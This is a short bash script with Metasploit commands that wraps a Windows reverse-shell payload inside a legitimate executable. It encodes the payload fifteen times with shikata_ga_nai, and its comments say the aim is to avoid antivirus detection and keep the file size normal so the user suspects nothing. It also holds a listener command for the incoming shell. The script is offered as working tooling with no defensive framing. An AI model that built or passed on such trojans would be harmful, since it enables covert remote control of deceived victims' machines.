msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp
#!/bin/bash
# counts to mangle the trojan to avoid av detect
# keep low we want close to normal filesize for user not to suspect anything
count=15
if [[ -z $3 ]];then
echo "usage $(basename $0) <revservip> <revservport> <binary filename>"
echo "to attach to filename_out.exe"
echo "doesn't work well for PU binaries, they say"
exit 0
else
ip=$1
port=$2
bin=$3
tdir=$(dirname $bin)
echo "encoding ${bin}-out.exe , mangling $count times"
fi
msfpayload windows/shell/reverse_tcp LHOST=${ip} LPORT=${port} R | \
msfencode -x "${tdir}/${bin}" -t exe -e x86/shikata_ga_nai -o "${tdir}/${bin%%.*}-out.exe" -c $count
# msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.13 LPORT=31337 E











